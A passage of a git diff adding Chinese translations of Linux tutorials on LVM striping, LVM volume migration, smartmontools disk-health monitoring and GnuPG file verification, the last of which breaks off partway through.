**-a**:以全自动模式运行所有的测试,并测试各种记录/文件大小。记录大小范围:4K-16M,文件大小范围:64K-512M。 +- **-b /tmp/md0.xls**: 把测试结果存储到一个指定的文件中 + +希望这篇文章对你有所帮助,如果想到任何想法或建议可能会提升RAID 10的性能,请讲出来。 + +-------------------------------------------------------------------------------- + +via: http://xmodulo.com/setup-raid10-linux.html + +作者:[Gabriel Cánepa][a] +译者:[KayGuoWhu](https://github.com/KayGuoWhu) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://xmodulo.com/author/gabriel +[1]:http://xmodulo.com/create-software-raid1-array-mdadm-linux.html +[2]:https://raid.wiki.kernel.org/ +[3]:http://ask.xmodulo.com/create-mount-xfs-file-system-linux.html +[4]:http://www.iozone.org/ +[5]:http://xmodulo.com/how-to-set-up-rpmforge-repoforge-repository-on-centos.html \ No newline at end of file diff --git a/published/201412/20141013 Manage Multiple Logical Volume Management Disks using Striping I O--Part V.md b/published/201412/20141013 Manage Multiple Logical Volume Management Disks using Striping I O--Part V.md new file mode 100644 index 0000000000..7c6b41c7f0 --- /dev/null +++ b/published/201412/20141013 Manage Multiple Logical Volume Management Disks using Striping I O--Part V.md @@ -0,0 +1,162 @@ +使用条块化I/O管理多个LVM磁盘(第五部分) +================================================================================ +在本文中,我们将了解逻辑卷是如何通过条块化I/O来写入数据到磁盘的。逻辑卷管理的酷炫特性之一,就是它能通过条块化I/O跨多个磁盘写入数据。 + + +### LVM条块化是什么? ### + +**LVM条块化**是LVM功能之一,该技术会跨多个磁盘写入数据,而不是对单一物理卷持续写入。 + +![Manage LVM Disks Using Striping I/O](http://www.tecmint.com/wp-content/uploads/2014/09/LVM-Striping.jpeg) + +*使用条块化I/O管理LVM磁盘* + + +#### 条块化特性 #### + +- 它会改善磁盘性能。 +- 避免对单一磁盘的不断的大量写入。 +- 使用对多个磁盘的条块化写入,可以减少磁盘填满的几率。 + +在逻辑卷管理中,如果我们需要创建一个逻辑卷,扩展的卷会完全映射到卷组和物理卷。在此种情形中,如果其中一个**PV**(物理卷)被填满,我们需要从其它物理卷中添加更多扩展。这样,添加更多扩展到PV中后,我们可以指定逻辑卷使用特定的物理卷写入I/O。 + +假设我们有**四个磁盘**驱动器,分别指向了四个物理卷,如果各个物理卷总计可以达到**100 I/O**,我们卷组就可以获得**400 I/O**。 + +如果我们不使用**条块化方法**,文件系统将横跨基础物理卷写入。例如,写入一些数据到物理卷达到100 I/O,这些数据只会写入到第一个PV(**sdb1**)。如果我们在写入时使用条块化选项创建逻辑卷,它会分割100 I/O分别写入到四个驱动器中,这就是说每个驱动器中都会接收到25 I/O。 + +这会在循环过程中完成。如果这些逻辑卷其中任何一个需要扩展,在这种情形下,我们不能添加1个或2个PV,必须添加所有4个pv来扩展逻辑卷大小。这是条块化特性的缺点之一,从中我们可以知道,在创建逻辑卷时,我们需要为所有逻辑卷分配相同的条块大小。 + +逻辑卷管理有着这些特性,它使我们能够同时在多个pv中条块化数据。如果你对逻辑卷熟悉,你可以去设置逻辑卷条块化。反之,你则必须了解逻辑卷管理的基础知识了,请阅读更基础的文章来了解逻辑卷管理。 + +#### 我的服务器设置 #### + +这里,我使用**CentOS6.5**用作练习。下面这些步骤也适用于RHEL、Oracle Linux以及大多数发行版。 + + 操作系统: CentOS 6.5 + IP地址: 192.168.0.222 + 主机名: tecmint.storage.com + +### 条块化I/O的逻辑卷管理 ### + +出于演示目的,我已经准备了4个硬盘驱动器,每个驱动器1GB大小。让我用下面的‘**fdisk**’命令来列给你看看吧。 + + # fdisk -l | grep sd + +![List Hard Drives](http://www.tecmint.com/wp-content/uploads/2014/09/List-Hard-Drives.png) + +*列出硬盘驱动器* + +现在,我们必须为这4个硬盘驱动器**sdb**,**sdc**,**sdd**和**sde**创建分区,我们将用‘**fdisk**’命令来完成该工作。要创建分区,请遵从本文**[第一部分][1]**中**步骤#4**的说明,并在创建分区时确保你已将类型修改为**LVM(8e)**。 + + # pvcreate /dev/sd[b-e]1 -v + +![Create Physical Volumes in LVM](http://www.tecmint.com/wp-content/uploads/2014/09/Create-Physical-Volumes-in-LVM.png) + +*在LVM中创建物理卷* + +PV创建完成后,你可以使用‘**pvs**’命令将它们列出来。 + + # pvs + +![Verify Physical Volumes](http://www.tecmint.com/wp-content/uploads/2014/09/Verify-Physical-Volumes.png) + +*验证物理卷* + +现在,我们需要使用这4个物理卷来定义卷组。这里,我定义了一个物理扩展大小(PE)为**16MB**,名为**vg_strip**的卷组。 + + # vgcreate -s 16M vg_strip /dev/sd[b-e]1 -v + +上面命令中选项的说明: + +- **[b-e]1** – 定义硬盘驱动器名称,如sdb1,sdc1,sdd1,sde1。 +- **-s** – 定义物理扩展大小。 +- **-v** – 详情。 + +接下来,验证新创建的卷组: + + # vgs vg_strip + +![Verify Volume Group](http://www.tecmint.com/wp-content/uploads/2014/09/Verify-Volume-Group.png) + +*验证卷组* + +要获取VG更详细的信息,可以在**vgdisplay**命令中使用‘-v’选项,它将给出**vg_strip**卷组中所使用的全部物理卷的详细情况。 + + # vgdisplay vg_strip -v + +![Volume Group Information](http://www.tecmint.com/wp-content/uploads/2014/09/Volume-Group-Information.png) + +*卷组信息* + +回到我们的话题,现在在创建逻辑卷时,我们需要定义条块化值,就是数据需要如何使用条块化方法来写入到我们的逻辑卷中。 + +这里,我创建了一个名为**lv_tecmint-strp1**,大小为**900MB**的逻辑卷,它需要放到**vg_strip**卷组中。我定义了4个条块,就是说数据在写入到我的逻辑卷时,需要条块化分散到4个PV中。 + + # lvcreate -L 900M -n lv_tecmint_strp1 -i4 vg_strip + +- **-L** –逻辑卷大小 +- **-n** –逻辑卷名称 +- **-i** –条块化 + +![Create Logical Volumes](http://www.tecmint.com/wp-content/uploads/2014/09/Create-Logical-Volumes.png) + +*创建逻辑卷* + +在上面的图片中,我们可以看到条块尺寸的默认大小为**64 KB**,如果我们需要自定义条块值,我们可以使用**-I**(大写I)。要确认逻辑卷已经是否已经创建,请使用以下命令。 + + # lvdisplay vg_strip/lv_tecmint_strp1 + +![Confirm Logical Volumes](http://www.tecmint.com/wp-content/uploads/2014/09/Confirm-Logical-Volumes.png) + +*确认逻辑卷* + +现在,接下来的问题是,我们怎样才能知道条块被写入到了4个驱动器。这里,我们可以使用‘**lvdisplay**’和**-m**(显示逻辑卷映射)命令来验证。 + + # lvdisplay vg_strip/lv_tecmint_strp1 -m + +![Check Logical Volumes](http://www.tecmint.com/wp-content/uploads/2014/09/Check-Logical-Volumes.png) + +*检查逻辑卷* + +要创建自定义的条块尺寸,我们需要用我们自定义的条块大小**256KB**来创建一个**1GB**大小的逻辑卷。现在,我打算将条块分布到3个PV上。这里,我们可以定义我们想要哪些pv条块化。 + + # lvcreate -L 1G -i3 -I 256 -n lv_tecmint_strp2 vg_strip /dev/sdb1 /dev/sdc1 /dev/sdd1 + +![Define Stripe Size](http://www.tecmint.com/wp-content/uploads/2014/09/Define-Stripe-Size.png) + +*定义条块大小* + +接下来,检查条块大小和条块化的卷。 + + # lvdisplay vg_strip/lv_tecmint_strp2 -m + +![Check Stripe Size](http://www.tecmint.com/wp-content/uploads/2014/09/Check-Stripe-Size.png) + +*检查条块大小* + +是时候使用设备映射了,我们使用‘**dmsetup**’命令来完成这项工作。它是一个低级别的逻辑卷管理工具,它用于管理使用了设备映射驱动的逻辑设备。 + + # dmsetup deps /dev/vg_strip/lv_tecmint_strp[1-2] + +![Device Mapper](http://www.tecmint.com/wp-content/uploads/2014/09/Device-Mapper.png) + +*设备映射* + +这里,我们可以看到strp1依赖于4个驱动器,strp2依赖于3个设备。 + +希望你已经明白,我们怎样能让逻辑卷条块化来写入数据。对于此项设置,必须掌握逻辑卷管理基础知识。 + +在我的下一篇文章中,我将给大家展示怎样在逻辑卷管理中迁移数据。到那时,请静候更新。同时,别忘了对本文提出有价值的建议。 + +-------------------------------------------------------------------------------- + +via: http://www.tecmint.com/manage-multiple-lvm-disks-using-striping-io/ + +作者:[Babin Lonston][a] +译者:[GOLinux](https://github.com/GOLinux) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://www.tecmint.com/author/babinlonston/ +[1]:http://linux.cn/article-3965-1.html diff --git a/published/201412/20141013 Migrating LVM Partitions to New Logical Volume (Drive)--Part VI.md b/published/201412/20141013 Migrating LVM Partitions to New Logical Volume (Drive)--Part VI.md new file mode 100644 index 0000000000..c837633fa1 --- /dev/null +++ b/published/201412/20141013 Migrating LVM Partitions to New Logical Volume (Drive)--Part VI.md @@ -0,0 +1,212 @@ +迁移LVM分区到新的逻辑卷/驱动器(第六部分) +================================================================================ + +这是我们正在进行的LVM系列的第六部分。在本文中,我们将为大家展示怎样在线将现存的逻辑卷迁移到其它新的驱动器。在开始之前,我想要先来介绍一下LVM迁移及其特性。 + +![LVM Storage Migration](http://www.tecmint.com/wp-content/uploads/2014/10/LVM-Migrations.png) + +*LVM存储迁移* + + +### 什么是LVM迁移? ### + +**LVM**迁移是LVM众多优秀特性之一,通过它,我们可以迁移逻辑卷到一个新的磁盘而不会丢失数据,也不用关机操作。该特性的功能是将数据从旧磁盘移动到新磁盘。通常,我们只是在一些磁盘发生错误时,才将数据从一个磁盘迁移到另外一个磁盘存储。 + +### 迁移特性 ### + +- 将逻辑卷从一个磁盘移动到另一个磁盘。 +- 我们可以使用任何类型的磁盘,如SATA、SSD、SAS、SAN storage iSCSI或者FC。 +- 在线迁移磁盘,而且数据不会丢失。 + +在LVM迁移中,我们将交换各个卷、文件系统以及位于已有的存储中的数据。例如,如果我们有一个单一逻辑卷,它已经映射到了物理卷,而该物理卷是一个物理硬盘驱动器。 + +现在,如果我们需要升级服务器存储为SSD硬盘驱动器,我们首先需要考虑什么?重新格式化磁盘?不!我们不必重新格式化服务器,LVM可以选择将这些旧的SATA驱动器上的数据迁移到新的SSD驱动器上。在线迁移将会支持任何类型的磁盘,不管是本地驱动器,还是SAN或者光纤通道都可以。 + +#### 我的服务器设置 #### + + 操作系统: CentOS 6.5 Final + IP地址: 192.168.0.224 + 系统主机名: lvmmig.tecmintlocal.com + +### 步骤1: 检查当前驱动器 ### + +**1.**假设我们已经有一个名为“**vdb**”的虚拟驱动器,它已经被映射到了其中一个逻辑卷“**tecmint_lv**”。现在,我们想要迁移“**vdb**”这个逻辑卷到其它某个新的存储设备中。在开始之前,首先在下面所示的**fdisk**和lvs命令的帮助下验证该虚拟驱动器。 + + # fdisk -l | grep vd + # lvs + +![Check Logical Volume Disk](http://www.tecmint.com/wp-content/uploads/2014/10/Check-Logical-Volume-Disk.png) + +*检查逻辑卷磁盘* + +### 步骤2: 检查新添加的驱动器 ### + +**2.**在我们确认了现存驱动器后,现在是时候来将新的SSD驱动器连接到系统并在fdisk命令的帮助下验证新添加的驱动器了。 + + # fdisk -l | grep dev + +![Check New Added Drive](http://www.tecmint.com/wp-content/uploads/2014/10/Check-New-Added-Drive.png) + +*检查新添加的驱动器* + +**注意**:你看到上面屏幕中的内容了吗?新的驱动器已经被成功添加了,其名称为“**/dev/sda**”。 + +### 步骤3: 检查当前逻辑和物理卷 ### + +**3.**现在,让我们开始创建物理卷、卷组和逻辑卷以用于迁移。在创建卷时,确保检查**/mnt/lvm**挂载点下的当前逻辑卷的数据。用以下命令来列出挂载点并检查数据。 + + # df -h + # cd /mnt/lvm + # cat tecmint.txt + +![Check Logical Volume Data](http://www.tecmint.com/wp-content/uploads/2014/10/Check-Logical-Volume-Data.png) + +*检查逻辑卷数据* + +**注意**:出于演示的目的,我们已经在**/mnt/lvm**挂载点下创建了两个文件,我们将在线将这些数据迁移到新的驱动器中。 + +**4.**在迁移之前,确保对确认与物理卷相关的逻辑卷和卷组名称,并且确认哪个物理卷用于容纳该卷组和逻辑卷。 + + # lvs + # vgs -o+devices | grep tecmint_vg + +![Confirm Logical Volume Names](http://www.tecmint.com/wp-content/uploads/2014/10/Confirm-Logical-Volume-Names.png) + +*确认逻辑卷名称* + +**注意**:看到上面屏幕中的内容了吗?“**vdb**”容纳了卷组**tecmint_vg**。 + +### 步骤4: 创建新物理卷 ### + +**5.**在在我们新添加的SSD驱动器中创建物理卷之前,我们需要使用fdisk来定义分区。在创建分区时,别忘了修改分区类型为LVM(8e)。 + + # pvcreate /dev/sda1 -v + # pvs + +![Create Physical Volume](http://www.tecmint.com/wp-content/uploads/2014/10/Create-Physical-Volume.png) + +*创建物理卷* + +**6.**接下来,使用‘vgextend命令’来添加新创建的物理卷到现存卷组tecmint_vg。 + + # vgextend tecmint_vg /dev/sda1 + # vgs + +![Add Physical Volume](http://www.tecmint.com/wp-content/uploads/2014/10/Add-Physical-Volume.png) + +*添加物理卷* + +**7.**要获得卷组的完整信息列表,请使用‘vgdisplay’命令。 + + # vgdisplay tecmint_vg -v + +![List Volume Group Info](http://www.tecmint.com/wp-content/uploads/2014/10/List-Volume-Group-Info.png) + +*列出卷组信息* + +**注意**:在上面屏幕中,我们可以看到在输出结果的结束处,我们的PV已经添加到了卷组中。 + +**8.**如果我们需要知道更多关于哪些设备被映射的信息,请使用‘**dmsetup**’依赖命令。 + + # lvs -o+devices + # dmsetup deps /dev/tecmint_vg/tecmint_lv + +在上面的结果中,有个**1个**依赖(PV)或(驱动器),而这里**17**被列出了。如果你想要检查设备,那些关联的有着主、次设备号的驱动器,以确认,使用下面的命令。 + + # ls -l /dev | grep vd + +![List Device Information](http://www.tecmint.com/wp-content/uploads/2014/10/List-Device-Information.png) + +*列出设备信息* + +**注意**:在上面的命令中,我们可以看到主设备号是**252**,次设备号是**17**,它连接到了**vdb1**。希望你理解了上面命令的输出。 + +### 步骤5: LVM镜像法 ### + +**9.**现在,该使用镜像法来进行迁移了。使用‘**lvconvert**’命令来将数据从旧逻辑卷迁移到新驱动器。 + + # lvconvert -m 1 /dev/tecmint_vg/tecmint_lv /dev/sda1 + +- **-m** = 镜像 +- **1** = 添加单个镜像 + +![Mirroring Method Migration](http://www.tecmint.com/wp-content/uploads/2014/10/Mirroring-Method-Migration.png) + +*镜像法迁移* + +**注意**:上面的迁移过程根据卷的大小会花费一段时间。 + +**10.**在迁移过程完成后,验证转换的镜像。 + + # lvs -o+devices + +![Verify Converted Mirror](http://www.tecmint.com/wp-content/uploads/2014/10/Verify-Converted-Mirror.png) + +*验证转换的镜像* + +**11.**当你确认转换的镜像没有任何问题后,你可以移除旧的虚拟磁盘**vdb1**。**-m**选项将移除镜像,先前我们使用**l**来添加镜像。 + + # lvconvert -m 0 /dev/tecmint_vg/tecmint_lv /dev/vdb1 + +![Remove Virtual Disk](http://www.tecmint.com/wp-content/uploads/2014/10/Remove-Virtual-Disk.png) + +*移除虚拟磁盘* + +**12.**在旧虚拟磁盘移除后,你可以使用以下命令来再次检查逻辑卷设备。 + + # lvs -o+devices + # dmsetup deps /dev/tecmint_vg/tecmint_lv + # ls -l /dev | grep sd + +![Check New Mirrored Device](http://www.tecmint.com/wp-content/uploads/2014/10/Check-New-Mirrored-Device.png) + +*检查新镜像的设备* + +在上面的图片中,你看到了吗?我们的逻辑卷现在依赖于**8,1**,名称为**sda1**。这说明我们的迁移过程已经完成了。 + +**13.**现在验证我们从旧驱动器上迁移过来的文件。如果在新驱动器中的数据与原数据一样,那就说明我们每一步都完成得很完美。 + + # cd /mnt/lvm/ + # cat tecmin.txt + +![Check Mirrored Data](http://www.tecmint.com/wp-content/uploads/2014/10/Check-Mirrored-Data.png) + +*检查镜像的数据* + + + # vgreduce /dev/tecmint_vg /dev/vdb1 + # vgs -o+devices + +**14.**在所有的都被完美创建后,现在该从卷组中删除**vdb1**并进行再次确认,哪些设备依赖于我们的卷组。 + +**15.**在从卷组**tecmint_vg**移除vdb1后,我们的逻辑卷还在那儿,因为我们已经将它从**vdb1**迁移到了**sda1**。 + + # lvs + +![Delete Virtual Disk](http://www.tecmint.com/wp-content/uploads/2014/10/Delete-Virtual-Disk.png) + +*删除虚拟磁盘* + +### 步骤6: LVM pvmove镜像法 ### + +**16.**我们可以使用带有‘**-n**’(逻辑卷名称)选项的‘**pvmove**’命令来取代‘**lvconvert**’镜像命令,在两个设备间进行数据镜像。 + + # pvmove -n /dev/tecmint_vg/tecmint_lv /dev/vdb1 /dev/sda1 + +该命令是在两个设备间镜像数据的最简单的一个,但是在真实环境中,**镜像**比**pvmove**使用得更为频繁。 + +### 结尾 ### + +在本文中,我们介绍了怎样将逻辑卷从一个驱动器迁移到另一个驱动器。希望你已经掌握了逻辑卷管理中这一新的技巧。对于该配置,必须建立在掌握逻辑卷管理基础技能的基础上。对于基础配置,请参阅本文顶部需求章节中提供的链接。 + +-------------------------------------------------------------------------------- + +via: http://www.tecmint.com/lvm-storage-migration/#comment-331336 + +作者:[Babin Lonston][a] +译者:[GOLinux](https://github.com/GOLinux) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://www.tecmint.com/author/babinlonston/ diff --git a/published/201412/20141017 How to check hard disk health on Linux using smartmontools.md b/published/201412/20141017 How to check hard disk health on Linux using smartmontools.md new file mode 100644 index 0000000000..914f5f382c --- /dev/null +++ b/published/201412/20141017 How to check hard disk health on Linux using smartmontools.md @@ -0,0 +1,150 @@ +使用 smartmontools 查看硬盘的健康状态 +================================================================================ +要说Linux用户最不愿意看到的事情,莫过于在毫无警告的情况下发现硬盘崩溃了。诸如[RAID][2]的[备份][1]和存储技术可以在任何时候帮用户恢复数据,但为预防硬件突然崩溃造成数据丢失所花费的代价却是相当可观的,特别是在用户从来没有提前考虑过在这些情况下的应对措施时。 + +为了避免遇到这种困境,用户可以试用一款叫做[smartmontools][3]的软件包程序,它通过使用自我监控(Self-Monitoring)、分析(Analysis)和报告(Reporting)三种技术(缩写为S.M.A.R.T或SMART)来管理和监控存储硬件。如今大部分的ATA/SATA、SCSI/SAS和固态硬盘都搭载内置的SMART系统。SMART的目的是监控硬盘的可靠性、预测磁盘故障和执行各种类型的磁盘自检。smartmontools由smartctl和smartd两部分工具程序组成,它们一起为Linux平台提供对磁盘退化和故障的高级警告。 + +这篇文章会描述Linux上smartmontools的安装和配置方法。 + +### 安装Smartmontools ### + +由于smartmontools在大部分Linux发行版的基本软件库中都可用,所以安装很方便。 + +#### Debian和其衍生版:#### + + # aptitude install smartmontools + +#### 基于Red Hat的发行版:#### + + # yum install smartmontools + +### 使用Smartctl检测硬盘的健康状况 ### + +首先,使用下面的命令列出和系统相连的硬盘: + + # ls -l /dev | grep -E 'sd|hd' + +输出结果和下图类似: + +![](https://farm4.staticflickr.com/3953/15352881249_96c09f7ccc_o.png) + +其中sdX代表分配给机器上对应硬盘上的设备名。 + +如果想要显示出某个指定硬盘的信息(比如设备模式、S/N、固件版本、大小、ATA版本/修订号、SMART功能的可用性和状态),在运行smartctl命令时添加"--info"选项,并按如下所示指定硬盘的设备名。 + +在本例中,选择/dev/sda。 + + # smartctl --info /dev/sda + +![](https://farm4.staticflickr.com/3928/15353873870_00a8dddf89_z.jpg) + +尽管最开始可能不会注意到ATA(译者注:硬盘接口技术)的版本信息,但当需要替换硬盘时它确实是最重要的因素之一。每一代ATA版本都保持向下兼容。例如,老的ATA-1或ATA-2设备可以正常工作在ATA-6和ATA-7接口上,但反过来就不行了。在设备版本和接口版本两者不匹配的情况下,它们会按照两者中版本较小的规范来运行。也就是说,在这种情况下,需要替换硬盘时,ATA-7硬盘是最安全的选择。 + +可以通过这个命令来检测某个硬盘的健康状况: + + # smartctl -s on -a /dev/sda + +在这个命令中,"-s on"标志开启指定设备上的SMART功能。如果/dev/sda上已开启SMART支持,那就省略它。 + +硬盘的SMART信息包含很多部分。其中,"READ SMART DATA"部分显示出硬盘的整体健康状况。 + + === START OF READ SMART DATA SECTION === + SMART overall-health self-assessment rest result: PASSED + +这个测试的结果是PASSED或FAILED。后者表示即将出现硬件故障,所以需要开始备份这块磁盘上的重要数据! + +下一个需要关注的地方是[SMART属性][4]表,如下所示。 + +![](https://farm6.staticflickr.com/5612/15539511935_dd62f6c9ef_z.jpg) + +基本上,SMART属性表列出了制造商在硬盘中定义好的属性值,以及这些属性相关的故障阈值。这个表由驱动固件自动生成和更新。 + +- **ID**:属性ID,通常是一个1到255之间的十进制或十六进制的数字。 +- **ATTRIBUTE_NAME**:硬盘制造商定义的属性名。 +- **FLAG**:属性操作标志(可以忽略)。 +- **VALUE**:这是表格中最重要的信息之一,代表给定属性的标准化值,在1到253之间。253意味着最好情况,1意味着最坏情况。取决于属性和制造商,初始化VALUE可以被设置成100或200. +- **WORST**:所记录的最小VALUE。 +- **THRESH**:在报告硬盘FAILED状态前,WORST可以允许的最小值。 +- **TYPE**:属性的类型(Pre-fail或Old_age)。Pre-fail类型的属性可被看成一个关键属性,表示参与磁盘的整体SMART健康评估(PASSED/FAILED)。如果任何Pre-fail类型的属性故障,那么可视为磁盘将要发生故障。另一方面,Old_age类型的属性可被看成一个非关键的属性(如正常的磁盘磨损),表示不会使磁盘本身发生故障。 +- **UPDATED**:表示属性的更新频率。Offline代表磁盘上执行离线测试的时间。 +- **WHEN\_FAILED**:如果VALUE小于等于THRESH,会被设置成“FAILING\_NOW”;如果WORST小于等于THRESH会被设置成“In\_the\_past”;如果都不是,会被设置成“-”。在“FAILING\_NOW”情况下,需要尽快备份重要文件,特别是属性是Pre-fail类型时。“In\_the\_past”代表属性已经故障了,但在运行测试的时候没问题。“-”代表这个属性从没故障过。 +- **RAW\_VALUE**:制造商定义的原始值,从VALUE派生。 + +这时候你可能会想,“是的,smartctl看起来是个不错的工具,但我更想知道如何避免手动运行的麻烦。”如果能够以指定的间隔运行,同时又能通知我测试结果,那不是更好吗?” + +好消息是,这个功能已经有了。是smartd发挥作用的时候了! + +### 配置Smartctl和Smartd实现实时监控 ### + +首先,编辑smartctl的配置文件(/etc/default/smartmontools)以便在系统启动时启动smartd,并以秒为单位指定间隔时间(如7200 = 2小时)。 + + start_smartd=yes + smartd_opts="--interval=7200" + +下一步,编辑smartd的配置文件(/etc/smartd.conf),添加以下行内容。 + + /dev/sda -m myemail@mydomain.com -M test + +- **-m **:指定发送测试报告到某个电子邮件地址。这里可以是系统用户比如root,或者如果服务器已经配置成发送电子邮件到系统外部,则是类似于myemail@mydomain.com的邮件地址。 +- **-M **:指定发送邮件报告的期望类型。 + - **once**:为检测到的每种磁盘问题只发送一封警告邮件。 + - **daily**:为检测到的每种磁盘问题每隔一天发送一封额外的警告提醒邮件。 + - **diminishing**:为检测到的每种问题发送一封额外的警告提醒邮件,开始是每隔一天,然后每隔两天,每隔四天,以此类推。每个间隔是前一次间隔的2倍。 + - **test**:只要smartd一启动,立即发送一封测试邮件。 + - **exec PATH**:取代默认的邮件命令,运行PATH路径下的可执行文件。PATH必须指向一个可执行的二进制文件或脚本。当检测到一个问题时,可以指定执行一个期望的动作(闪烁控制台、关闭系统等等)。 + +保存改动并重启smartd。 + +smartd发送的邮件应该是这个样子。 + +![](https://farm6.staticflickr.com/5612/15539511945_b344814c74_o.png) + +在上图中,没有检测到错误。如果实际上检测到了错误,那么错误会出现在“下列警告/错误由smartd守护进程写入日志”这一行的下面。 + +最后,可以使用“-s”标志和形如“T/MM/DD/d/HH”的正则表达式按照想要的调度方案执行测试,其中: + +正则表达式中的T代表测试的类型: + +- L:长测试 +- S:短测试 +- C:传输测试(仅限ATA) +- O:离线测试(仅限ATA) + +其它的字符代表测试执行的日期和时间: + +- MM是一年中的月份。 +- DD是一月中的天份。 +- HH是一天中的小时。 +- d是一个星期中的某天(从1=周一到7=周日)。 +- MM、DD和HH使用两位十进制数字表示。 + +在上述表达中的小圆点表示所有可能的值。形如'(A|B|C)'在圆括号里的表达式表示三个可能值A、B和C中的任意一个。形如[1-5]在方括号中的表达式表示1到5的范围(包含5). + +例如,想要在每个工作日的下午一点为所有的磁盘执行一次长测试,在/etc/smartd.conf中添加如下行内容。确保编辑完重启smartd。 + + DEVICESCAN -s (L/../../[1-5]/13) + +### 总结 ### + +无论你想要快速查看磁盘的电子和机械性能,还是对整个磁盘执行一次长时间扫描测试,都不要让自己陷入日复一日地执行命令中而忘记了定期检测磁盘的健康状态。多关注磁盘的健康状况,你会受益的! + +-------------------------------------------------------------------------------- + +via: http://xmodulo.com/check-hard-disk-health-linux-smartmontools.html + +作者:[Gabriel Cánepa][a] +译者:[KayGuoWhu](https://github.com/KayGuoWhu) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://xmodulo.com/author/gabriel +[1]:http://xmodulo.com/how-to-create-secure-incremental-offsite-backup-in-linux.html +[2]:http://xmodulo.com/create-software-raid1-array-mdadm-linux.html +[3]:http://www.smartmontools.org/ +[4]:http://en.wikipedia.org/wiki/S.M.A.R.T. + + + + + diff --git a/published/201412/20141017 How to verify the authenticity and integrity of a downloaded file on Linux.md b/published/201412/20141017 How to verify the authenticity and integrity of a downloaded file on Linux.md new file mode 100644 index 0000000000..4fa81ee1ad --- /dev/null +++ b/published/201412/20141017 How to verify the authenticity and integrity of a downloaded file on Linux.md @@ -0,0 +1,148 @@ +使用 GnuPG 加密签名来验证下载文件的可靠性和完整性 +================================================================================ +当你从网上下载一个文件后(比如:安装程序、ISO镜像或者一个压缩包),文件可能在不同的情况下发生了损坏,比如:由于线路传输错误、中断的下载、存储硬件错误、文件系统错误等等。除了这些错误,文件还可能在下载前或者下载中的攻击而被有意地篡改了。比如,一个攻破证书颁发机构的攻击者可以实施一个MITM攻击(中间人攻击),欺骗你从HTTPS网站上下载隐藏恶意软件的文件。 + +要保护你自己免受这些问题的困扰,建议你去验证从网上下载的文件的可靠性和完整性。特别是你下载了一个非常敏感的文件的时候)(比如:操作系统镜像、二进制应用程序、可执行安装包等等),盲目地相信下载的文件不是一个好习惯。 + +一个快速和简单地验证下载文件的完整性的方法是使用不同的校验工具(比如:md5sum、sha356sum、cksum)来计算和比较校验码(比如:MD5、SHA、CRC)。然而,然而校验容易受到[碰撞攻击][1],而且同样不能用于验证文件的可靠性(比如:拥有者)。 + + +如果你想要同时验证下载文件的可靠性(拥有者)和完整性(内容),你需要依赖于加密签名。本教程中,我会描述如何使用GnuPG(GNU Privacy Guard)来检查文件的可靠性和完整性。 + +本例中我会验证一个从 https://onionshare.org 上下载的磁盘镜像。这个网站中,发行商会提供他们的公钥,还有它用于密钥验证的指纹。 + +![](https://farm4.staticflickr.com/3933/15360287249_1bc4380a67_z.jpg) + +至于下载的文件,发行商也会提供它相关的PGP签名。 + +![](https://farm6.staticflickr.com/5597/15360894527_e12bedce63_z.jpg) + +### 安装 GnuPG 并且生成一个键对 ### + +让我们首先在你的Linux系统上安装GnuPG。 + +在Debian、Ubuntu和其他Debian衍生版上: + + $ sudo apt-get install gnupg + +在Fedora、CentOS或者RHEL上: + + $ sudo yum install gnupg + +完成安装后,生成一个本篇中会使用到的键对。 + + $ gpg --gen-key + +![](https://farm6.staticflickr.com/5612/15360848908_ae171c485e_z.jpg) + +在生成键对期间,你会被要求提供你的姓名和email,还有保护你私钥的密码。你同样也可以选择键对何时过期(默认不会过期)。依赖于你选择的key的大小(在1024和4096位之间),key生成会花上几分钟或者更多,同时它要求收集来自你桌面活动的大量的随机数据。(比如键盘输入、鼠标移动、磁盘访问等等,所以这个时候随便动动鼠标键盘什么的)。 + +一旦key生成完毕后,公钥和私钥会存储在~/.gnupg目录。 + +![](https://farm4.staticflickr.com/3942/15544226021_a9fbde1e9c_z.jpg) + +### 与某个文件和拥有者建立信任 ### + +验证下载文件的第一步是与任何提供文件下载的人建立信任。出于此,我们下载了这个文件的公钥,并且验证公钥的拥有者是否是他或者她自称的。 + +在下载完文件拥有者的公钥后: + + $ wget https://onionshare.org/signing-key.asc + +使用gpg命令导入公钥到你的keyring中 + + $ gpg --import signing-key.asc + +![](https://farm6.staticflickr.com/5613/15360894397_48fec1ef05_z.jpg) + +一旦拥有者的公钥导入后,他会像下面那样打印出一个key ID(比如:"EBA34B1C")。记住这个key ID。 + +现在,运行下面的命令检查导入的公钥的指纹: + + $ gpg --fingerprint EBA34B1C + +![](https://farm6.staticflickr.com/5614/15360894427_feb4df8894_z.jpg) + +你会看到key的指纹字符串。把这个和网站上显示的指纹做对比。如果匹配,你可以选择信任这个文件拥有者的公钥。 + +一旦你决定相信这个公钥,你可以通过编辑key来设置信任级别: + + $ gpg --edit-key EBA34B1C + +这个命令会显示GPG提示符: + +![](https://farm4.staticflickr.com/3945/14926729683_ec6d98fcbc_z.jpg) + +在GPG提示符中输入“trust”,它会让你从1-5之间选择这个key的信任等级。 + +![](https://farm6.staticflickr.com/5613/15547746702_bee019accc_z.jpg) + +本例中,我决定分配给它“4”,在这之后,输入“sign”用你自己的私钥签名,接着输入在GPG提示符中输入“save”来完成操作。 + +![](https://farm6.staticflickr.com/5608/15544225981_f2254e406e_z.jpg) + +要注意的是不需要这样明确地给一个公钥指派信任,通过key的导入隐式地信任往往就够了。 + +给一个key隐式地分配给“完全”的信任就是任何其他由这个完全信任签名的key X都会被认为是对你有效的。通常上,key验证依赖于一个称之为“[信任网][2]”的复杂机制。 + +回到教程,现在让我们检查导入的key列表。 + + $ gpg --list-keys + +![](https://farm6.staticflickr.com/5616/14926159344_b77946ddc9_z.jpg) + +你至少会看到两个key:一个带 depth 0和终极信任("1u"),这就是你自己的key,另外一个带depth 1和完全信任("1f"),这是你之前签名的key。 + +### 验证文件的可靠性/完整性 ### + 